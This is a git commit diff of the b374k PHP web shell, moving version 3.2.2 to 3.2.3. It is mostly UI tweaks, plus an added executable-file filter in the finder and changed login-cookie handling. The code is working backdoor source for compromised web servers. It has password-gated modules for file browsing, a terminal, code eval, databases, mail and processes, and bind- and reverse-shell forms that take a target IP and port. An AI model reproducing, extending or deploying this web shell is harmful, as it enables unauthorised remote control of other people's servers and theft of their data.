1
0
Fork 0
mirror of https://github.com/b374k/b374k.git synced 2024-12-03 00:31:23 +01:00

Updated to v3.2.3

Minor UI changes
This commit is contained in:
b374k 2014-07-02 01:47:41 +07:00
parent 0049ed031f
commit aca4786c0d
18 changed files with 187 additions and 126 deletions

File diff suppressed because one or more lines are too long

Binary file not shown.

126
b374k.php
View file

@ -1,6 +1,6 @@
<?php
/*
b374k shell 3.2.2
b374k shell 3.2.3
Jayalah Indonesiaku
(c)2014
https://github.com/b374k/b374k
@ -10,7 +10,7 @@ $GLOBALS['pass'] = "fb621f5060b9f65acf8eb4232e3024140dea2b34"; // sha1(md5(pass)
$GLOBALS['module_to_load'] = array("explorer", "terminal", "eval", "convert", "database", "info", "mail", "network", "processes");$GLOBALS['resources']['b374k'] = "hVXZrrM4En6gjARhC8yoL9hXQ9gDd2xhJ5yw8/Tj/Oef7tPSSG3JwjZVXy1flZ0nc/Lvuk/KAhmH8j9pMhUU8a864CxnQ3W5fLFwmK5fiX4JV9xny9o8G32+Txphqs9CfjhSqDheisVojklHbHNcLDN17HJaGkpDHGhdFDpklnXd/aNwaGMgVWgoXoHVm2vqktW3PEmkD/Z7CBtSKFwVYXOX81wdh/mYNmh9uy2IWnNjLKB1cAYmEK+bjQWvxK+orA+8oiX9CB/f0dm1akNfVGEnrKGaM/na5bJYFvJ1SgdAFVAf+rRGvU999mkYoJFL16pSUlBmy+WJUVupTTGtU6XK9HlOSHG4FvwFHNcGCOKuChFmNCJqehEG3K0EDbuDmt4+06zR3RReV7N5HebBlir/ezZEeVe0Nm5G1xGjP/3Jeqe/u9orV5zNquk1x3PcGLLT6JkjPujd8lrSONnDONXDeED9+noWIYlGj3KG+s0PXDF+mE3WdzCGbk1r7ojliIpCbc0fNqPW6l85gHH+tAnPlt85WSKMmQ28qjKe3o2GXWHOiTTcl+wcIUec6XlonSgOmgmv1cBI6Od3roxffDJE9GBX4BKbgV1n4/jLZoY7bhxGjNpXaK6wlHEwS3b8yX+TYuhayNJmnOICeOYMlG6L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t8SLwdtzXvR47Ze0Z0VkC5F6c7eSxl6n8/pudIYGl89MitzIHEuXxVYD3J+qt9oQ4PJqsQjEOewetHZEUf8UCRYjHw7vmxoe0Bjtx59p4PftRrDqXDRXTLqQ1NGLVE613PVZmyaiRe6SnV9b8SCdA91B7a1hB8RS3xWHIXdY6T9TwCc0xRi3IZGTB74VSs6rLkrXVm0jVjjQNstEz3DCNOpVy3Xk91cVJxbaOKEbFvrQCy2fxSUzhanvPq5bmccNWTPG3UbMsXoPWSS5TTTvo/W8LsiZ6Sdzdm2qGSqJapvuncb/jlI1c4i60NN53TasogwL0a/GFnyF4lgiGXW2N7BNyL5EEyQA42LdZtao2S9f+reA04QDbaEQtRg0YRlb/E0ksyci4MM1HlVvvqQlz0aqMXesslvqz7Y4baL0WvNHvflRnLNxLR5IFfb9KrZT97Lotz8OFtJJj9ugSFhVYy9nzcuRvC+vbF6zdrWpYtPek+rxjaeMog4pvOIbJ3wOTQmFb3d/atN9HV7ZsuZFAIRngh0oVQKZXb+fgBOdQNKnDsVQvjnz/8=";
$GLOBALS['ver'] = "3.2.2";
$GLOBALS['ver'] = "3.2.3";
$GLOBALS['title'] = "b374k";
@ob_start();
@ -30,17 +30,12 @@ if(!function_exists('auth')){
if(isset($p['pass'])){
$your_pass = sha1(md5($p['pass']));
if($your_pass==$GLOBALS['pass']){
setcookie("pass", $your_pass);
$res = "
<script type='text/javascript'>
location.href='".get_self()."';
</script>
";
echo $res;
setcookie("pass", $your_pass, time()+36000, "/");
header("Location: ".get_self());
}
}
if(!isset($c['pass']) || (isset($c['pass'])&&($c['pass']!=$GLOBALS['pass']))){
if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){
$res = "<!doctype html>
<html>
<head>
@ -66,12 +61,12 @@ if(!function_exists('auth')){
if(!function_exists('get_server_info')){
function get_server_info(){
$server_info['uname'] = php_uname();
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
$server_info['software'] = $server_software." PHP ".phpversion();
$server_addr = isset($_SERVER['SERVER_ADDR'])? $_SERVER['SERVER_ADDR']:$_SERVER["HTTP_HOST"];
$server_info['ip_adrress'] = "Server IP : ".$server_addr." <span class='strong'>|</span> Your IP : ".$_SERVER['REMOTE_ADDR'];
$server_info['time_at_server'] = "Time <span class='strong'>@</span> Server : ".@date("d M Y H:i:s",time());
$server_info['uname'] = php_uname();
$server_software = (getenv('SERVER_SOFTWARE')!='')? getenv('SERVER_SOFTWARE')." <span class='strong'>|</span> ":'';
$server_info['software'] = $server_software." PHP ".phpversion();
return $server_info;
}
}
@ -1061,7 +1056,7 @@ $GLOBALS['module']['eval']['content'] = "
</td></tr>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='evalType'>
</select>
@ -1169,8 +1164,9 @@ elseif(isset($p['findType'])){
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$findWritable = trim($p['findWritable']);
$findExecutable = trim($p['findExecutable']);
$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
@ -1227,11 +1223,14 @@ elseif(isset($p['findType'])){
}
foreach($candidate as $k){
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
if($findExecutable=="true"){
if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
}
}
@ -1495,14 +1494,14 @@ $GLOBALS['module']['database']['content'] = "
<tr><th colspan='3'><p class='boxtitle'>Connect</p></th></tr>
</thead>
<tbody>
<tr class='dbHostRow'><td style='width:120px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbHostRow'><td style='width:144px' class='dbHostLbl'>Host</td><td colspan='2'><input type='text' id='dbHost' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbUserRow'><td>Username</td><td colspan='2'><input type='text' id='dbUser' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbPassRow'><td>Password</td><td colspan='2'><input type='text' id='dbPass' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
<tr class='dbPortRow'><td>Port (Optional)</td><td colspan='2'><input type='text' id='dbPort' value='' onkeydown=\"trap_enter(event, 'db_connect');\"></td></tr>
</tbody>
<tfoot>
<tr class='dbConnectRow'>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='dbType'>
</select>
</td>
@ -2073,12 +2072,12 @@ $GLOBALS['module']['network']['content'] = "
<tr><th colspan='2'><p class='boxtitle'>Bind Shell</p></th></tr>
</thead>
<tbody>
<tr><td style='width:120px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
<tr><td style='width:144px'>Server IP</td><td><input type='text' id='bindAddr' value='".$server_addr."' disabled></td></tr>
<tr><td>Port</td><td><input type='text' id='bindPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_bind');\"></td></tr>
</tbody>
<tfoot>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='bindLang' class='rsType'>
".$winbinary."
</select>
@ -2094,12 +2093,12 @@ $GLOBALS['module']['network']['content'] = "
<tr><th colspan='2'><p class='boxtitle'>Reverse Shell</p></th></tr>
</thead>
<tbody>
<tr><td style='width:120px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
<tr><td style='width:144px'>Target IP</td><td><input type='text' id='backAddr' value='".$remote_addr."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
<tr><td>Port</td><td><input type='text' id='backPort' value='".$default_port."' onkeydown=\"trap_enter(event, 'rs_go_back');\"></td></tr>
</tbody>
<tfoot>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='backLang' class='rsType'>
".$winbinary."
</select>
@ -2472,10 +2471,6 @@ pre{
overflow-x:auto;
overflow-y:hidden;
}
#logout{
float:right;
padding:0 8px 0 0;
}
#overlay{
position:fixed;
top:0px;
@ -2557,12 +2552,12 @@ pre{
}
.boxclose{
background:#222222;
color:#ffffff;
padding:2px;
border-radius:3px;
margin-right:8px;
padding:1px 6px;
margin-top:-3px;
padding:2px 8px;
cursor:pointer;
border-radius:4px;
color:#ffffff;
}
.strong{
color:#7C94A8;
@ -2723,9 +2718,13 @@ pre{
color:#7F9F7F;
}
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;}
#totop,#tobottom,#toggleBasicInfo{background:url('<?php echo get_resource('arrow');?>');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#toggleBasicInfo{display:none;float:right;margin:0;}
#basicInfoSplitter{display:none;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
#showinfo{float:right;display:none;}
#logout{float:right;}
</style>
</head>
<body>
@ -2736,9 +2735,10 @@ pre{
<!--header info start-->
<div id='headerNav'>
<span><a onclick="set_cookie('cwd', '');" href='<?php echo get_self(); ?>'><?php echo $GLOBALS['title']." ".$GLOBALS['ver']?></a></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' /><span id='nav'>&nbsp;<?php echo $nav; ?></span>
<img onclick='viewfileorfolder();' id='b374k' src='<?php echo get_resource('b374k');?>' />&nbsp;<span id='nav'><?php echo $nav; ?></span>
<a id='logout'>log out</a>
<a class='boxclose' id='logout' title='log out'>x</a>
<a class='boxclose' id='showinfo' title='show info'>v</a>
</div>
<!--header info end-->
@ -2759,6 +2759,7 @@ pre{
<div id='content'>
<!--server info start-->
<div id='basicInfo'>
<div id='toggleBasicInfo'></div>
<?php
echo $error_html;
foreach(get_server_info() as $k=>$v){
@ -2852,6 +2853,7 @@ Zepto(function($){
show_tab();
xpl_bind();
eval_init();
window_resize();
xpl_update_status();
@ -2870,7 +2872,7 @@ Zepto(function($){
var cookie = document.cookie.split(';');
for(var i=0; i<cookie.length; i++){
var entries = cookie[i], entry = entries.split("="), name = entry[0];
document.cookie = name + '=; expires=Thu, 01 Jan 1970 00:00:01 GMT;';
document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:00:01 GMT; path=/";
}
localStorage.clear();
location.href = targeturl;
@ -2900,6 +2902,38 @@ Zepto(function($){
onScroll = false;
scrollCounter = 0;
});
$('#basicInfo').on('mouseenter', function(e){
$('#toggleBasicInfo').show();
});
$('#basicInfo').on('mouseleave', function(e){
$('#toggleBasicInfo').hide();
});
$('#toggleBasicInfo').on('click', function(e){
$('#basicInfo').hide();
$('#showinfo').show();
$('#toggleBasicInfo').hide();
localStorage.setItem('infoBarShown', 'hidden');
});
$('#showinfo').on('click', function(e){
$('#basicInfo').show();
$('#showinfo').hide();
localStorage.setItem('infoBarShown', 'shown');
});
if((infoBarShown = localStorage.getItem('infoBarShown'))){
if(infoBarShown=='shown'){
$('#basicInfo').show();
$('#showinfo').hide();
}
else{
$('#basicInfo').hide();
$('#showinfo').show();
$('#toggleBasicInfo').hide();
}
}
else{
info_refresh();
}
if(history.pushState){
window.onpopstate = function(event) { refresh_tab(); };
@ -2932,8 +2966,10 @@ function layout_portable(){
//nav.hide();
nav.prependTo('#content');
nav.css('padding-top','5px');
nav.css('padding','5px 8px');
nav.css('margin-top', '8px');
nav.css('display','block');
nav.addClass('border');
menu.children().css('width', '100%');
menu.hide();
@ -2969,8 +3005,10 @@ function layout_normal(){
content = $('#content');
nav.insertAfter('#b374k');
nav.css('padding-top','0px');
nav.css('padding','0');
nav.css('margin-top', '0');
nav.css('display','inline');
nav.removeClass('border');
menu.children().css('width', 'auto');
menu.show();
@ -3418,8 +3456,8 @@ function delete_go(){
}
function find(path){
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:140px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:140px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findReadable'></span><span class='floatLeft'>Readable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
$('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
cbox_bind('xplUpload');
}
@ -3444,8 +3482,9 @@ function find_go(findType){
findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
send_post(
{
@ -3457,8 +3496,9 @@ function find_go(findType){
findContent:findContent,
findContentRegex:findContentRegex,
findContentInsensitive:findContentInsensitive,
findReadable:findReadable,
findWritable:findWritable,
findReadable:findReadable
findExecutable:findExecutable
},
function(res){
if(res!='error'){
@ -3530,12 +3570,12 @@ function ul(path){
function ul_add_comp(path){
path = html_safe($('.ul_path').val());
$('.ulcompadd').append("<tr><td style='width:130px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
}
function ul_add_url(path){
path = html_safe($('.ul_path').val());
$('.ulurladd').append("<tr><td style='width:130px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
}
function ul_start(formData, ulType, i){

Binary file not shown.

View file

@ -156,8 +156,8 @@ function delete_go(){
}
function find(path){
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:140px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:140px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findReadable'></span><span class='floatLeft'>Readable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
findfile = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find File</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findfilePath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td style='border-bottom:none;'>Filename contains</td><td style='border-bottom:none;'><input type='text' class='findfileFilename' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileFilenameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileFilenameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td style='border-bottom:none;'>File contains</td><td style='border-bottom:none;'><input type='text' class='findfileContains' onkeydown=\"trap_enter(event, 'find_go_file');\"></td></tr><tr><td></td><td><span class='cBox findfileContainsRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;<span class='cBox findfileContainsInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findfileReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findfileWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findfileExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_file();\">find</span></td></tr><tr><td colspan='2' class='findfileResult'></td></tr></tfoot></table>";
findfolder = "<table class='boxtbl'><thead><tr><th colspan='2'><p class='boxtitle'>Find Folder</p></th></tr></thead><tbody><tr><td style='width:144px'>Search in</td><td><input type='text' class='findFolderPath' value='"+path+"' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td style='border-bottom:none;'>Foldername contains</td><td style='border-bottom:none;'><input type='text' class='findFoldername' onkeydown=\"trap_enter(event, 'find_go_folder');\"></td></tr><tr><td></td><td><span class='cBox findFoldernameRegex'></span><span class='floatLeft'>Regex</span>&nbsp;&nbsp;&nbsp;<span class='cBox findFoldernameInsensitive'></span><span class='floatLeft'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class='cBox findReadable'></span><span class='floatLeft'>Readable</span>&nbsp;&nbsp;<span class='cBox findWritable'></span><span class='floatLeft'>Writable</span>&nbsp;&nbsp;<span class='cBox findExecutable'></span><span class='floatLeft'>Executable</span></td></tr></tbody><tfoot><tr><td><span class='button navbar' data-path='"+path+"'>explorer</span></td><td><span class='button' onclick=\"find_go_folder();\">find</span></td></tr><tr><td colspan='2' class='findResult'></td></tr></tfoot></table>";
$('#explorer').html("<div id='xplUpload'>" +findfile+'<br>'+findfolder+'</div>');
cbox_bind('xplUpload');
}
@ -182,8 +182,9 @@ function find_go(findType){
findContentRegex = (findType=='file')? $('.findfileContainsRegex').hasClass('cBoxSelected').toString():"";
findContentInsensitive = (findType=='file')? $('.findfileContainsInsensitive').hasClass('cBoxSelected').toString():"";
findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
findReadable = (findType=='file')? $('.findfileReadable').hasClass('cBoxSelected').toString():$('.findWritable').hasClass('cBoxSelected').toString();
findWritable = (findType=='file')? $('.findfileWritable').hasClass('cBoxSelected').toString():$('.findReadable').hasClass('cBoxSelected').toString();
findExecutable = (findType=='file')? $('.findfileExecutable').hasClass('cBoxSelected').toString():$('.findExecutable').hasClass('cBoxSelected').toString();
send_post(
{
@ -195,8 +196,9 @@ function find_go(findType){
findContent:findContent,
findContentRegex:findContentRegex,
findContentInsensitive:findContentInsensitive,
findReadable:findReadable,
findWritable:findWritable,
findReadable:findReadable
findExecutable:findExecutable
},
function(res){
if(res!='error'){
@ -268,12 +270,12 @@ function ul(path){
function ul_add_comp(path){
path = html_safe($('.ul_path').val());
$('.ulcompadd').append("<tr><td style='width:130px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
$('.ulcompadd').append("<tr><td style='width:144px'>File</td><td><input type='file' class='ulFileComp'></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToComp' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameComp' onkeydown=\"trap_enter(event, 'ul_go_comp');\"></td></tr>");
}
function ul_add_url(path){
path = html_safe($('.ul_path').val());
$('.ulurladd').append("<tr><td style='width:130px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
$('.ulurladd').append("<tr><td style='width:144px'>File URL</td><td><input type='text' class='ulFileUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Save to</td><td><input type='text' class='ulSaveToUrl' value='"+path+"' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr><tr><td>Filename (Optional)</td><td><input type='text' class='ulFilenameUrl' onkeydown=\"trap_enter(event, 'ul_go_url');\"></td></tr>");
}
function ul_start(formData, ulType, i){

View file

@ -60,7 +60,7 @@ $GLOBALS['module']['eval']['content'] = "
</td></tr>
<tr>
<td style='width:120px;'>
<td style='width:144px;'>
<select id='evalType'>
</select>
@ -168,8 +168,9 @@ elseif(isset($p['findType'])){
$findContent = trim($p['findContent']);
$findContentRegex = trim($p['findContentRegex']);
$findContentInsensitive = trim($p['findContentInsensitive']);
$findWritable = trim($p['findWritable']);
$findReadable = trim($p['findReadable']);
$findWritable = trim($p['findWritable']);
$findExecutable = trim($p['findExecutable']);
$candidate = get_all_files($findPath);
if($findType=='file') $candidate = array_filter($candidate, "is_file");
@ -226,11 +227,14 @@ elseif(isset($p['findType'])){
}
foreach($candidate as $k){
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
}
if($findWritable=="true"){
if(!is_writable($k)) $candidate = array_diff($candidate, array($k));
}
if($findReadable=="true"){
if(!is_readable($k)) $candidate = array_diff($candidate, array($k));
if($findExecutable=="true"){
if(!is_executable($k)) $candidate = array_diff($candidate, array($k));
}
}

View file

@ -17,9 +17,13 @@
<style type="text/css">
<__CSS__>
#navigation{position:fixed;left:-16px;top:46%;}
